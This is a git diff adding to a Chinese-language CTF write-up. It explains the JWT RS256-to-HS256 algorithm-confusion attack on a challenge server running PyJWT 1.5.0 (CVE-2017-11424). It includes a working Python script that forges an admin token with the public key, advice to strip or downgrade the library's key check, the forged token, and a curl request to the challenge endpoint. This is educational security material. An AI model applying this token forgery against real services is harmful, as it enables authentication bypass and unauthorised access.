diff --git a/official/普通的身份认证器/README.md b/official/普通的身份认证器/README.md index 8554903..74d8171 100644 --- a/official/普通的身份认证器/README.md +++ b/official/普通的身份认证器/README.md @@ -24,7 +24,7 @@ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImV4cCI6MTYwNDM3NDE4N30 ## ~~公钥被大家知道了也不会怎么样吧~~ -在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 `HS256`),并且修改 JWT 中的签名算法只需要修改 header 的 `alg` 字段,并且让后面的签名仍然让程序认为整个 JWT 是完好而未被篡改的即可。 +在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 `HS256`),并且修改 JWT 中的签名算法只需要修改 header 的 `alg` 字段,并且通过某些方法,仍然让程序认为整个 JWT 是完好而未被篡改的即可。 在使用 RS256 时,程序的流程是: @@ -43,4 +43,81 @@ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImV4cCI6MTYwNDM3NDE4N30 - 使用已知的公钥,以 `HS256` 算法重新签名我们修改后的公钥。 - 发给服务器。此时,服务器使用公钥 + `HS256` 算法检查 JWT,发现没有问题,就会认为这是一个合法的 JWT。 -[TBD] \ No newline at end of file +目前的 JWT 库基本上都修复了这个问题。 + +## exp + +题目中提到“只是他似乎没有仔细检查每一项依赖的版本”,暗示了网站可能使用了有问题的 JWT 库。Python 的 JWT 库有很多,这里挑选了 PyJWT 作为我们的 JWT 库(当然用别的也行),阅读文档之后很容易就能写出来: + +```python +import jwt + +PUBLIC_KEY = "-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n" + +payload = { + "sub": "admin", + "exp": 9602085613, # fill in any number you like +} + +encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256') + +print(encoded) +``` + +但是如果直接运行的话,会报错。 + +``` +Traceback (most recent call last): + File "exp.py", line 10, in + encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256') + File "/venv/lib/python3.7/site-packages/jwt/api_jwt.py", line 65, in encode + json_payload, key, algorithm, headers, json_encoder + File "/venv/lib/python3.7/site-packages/jwt/api_jws.py", line 113, in encode + key = alg_obj.prepare_key(key) + File "/venv/lib/python3.7/site-packages/jwt/algorithms.py", line 151, in prepare_key + 'The specified key is an asymmetric key or x509 certificate and' +jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret. +``` + +这是因为,PyJWT(以及其他很多 JWT 库)修复这个安全漏洞的方式是:当使用 HS256 encode/decode 的时候,检查密钥的开头是否是非对称加密的公钥,如果是,就报错。可以直接魔改 jwt/algorithms.py 把这一部分的校验去掉,也可以降级到有问题的版本(1.5.0)然后再跑 exp。 + +获得的一个可用的 JWT 是: + +``` +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTYwMjA4NTYxM30.2oxpg6KALSg37msshI8Oddi1TgspKdxoPzOJ0Zyt77I +``` + +然后请求 `/profile`: + +``` +curl -H 'Hg-Token: 你的 token' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTYwMjA4NTYxM30.2oxpg6KALSg37msshI8Oddi1TgspKdxoPzOJ0Zyt77I' http://202.38.93.111:10092/profile +``` + +就好了。 + +## 题目细节 + +### 使用的 JWT 库版本 + +本题使用的是 PyJWT 1.5.0,对应的 CVE 是 [CVE-2017-11424](https://www.cvedetails.com/cve/CVE-2017-11424/)。其实 PyJWT 当时已经考虑到了本题所述的安全问题,但是[在进行校验的时候,没有把所有可能的情况都加入](https://github.com/jpadilla/pyjwt/blob/1.5.0/jwt/algorithms.py#L142)。 + +```python +invalid_strings = [ + b'-----BEGIN PUBLIC KEY-----', + b'-----BEGIN CERTIFICATE-----', + b'ssh-rsa' +] + +if any([string_value in key for string_value in invalid_strings]): + raise InvalidKeyError( + 'The specified key is an asymmetric key or x509 certificate and' + ' should not be used as an HMAC secret.') +``` + +如果开头是 `-----BEGIN RSA PUBLIC KEY-----` 的话,就能通过这样的逻辑了。因为 FastAPI 是在 PyJWT 1.5.0 之后出现的(如果我没搞错的话),题目为了能够自圆其说……文案就写成了这样子。 + +### 可以把 algorithm 设置为 none 吗? + +把 CTF 和 JWT 放在一起搜索过的同学一定能找到一些常见会出现的安全问题,包括本题使用的问题,以及将 algorithm 设置为 none 来绕过签名检查的问题。 + +但是本题中,这种做法是不可行的。因为尽管 PyJWT 支持 none,它在 encode/decode 的时候会检查参数中密钥是否被设置,[如果设置了就会报错](https://github.com/jpadilla/pyjwt/blob/1.5.0/jwt/algorithms.py#L116),这是无法绕过的。 \ No newline at end of file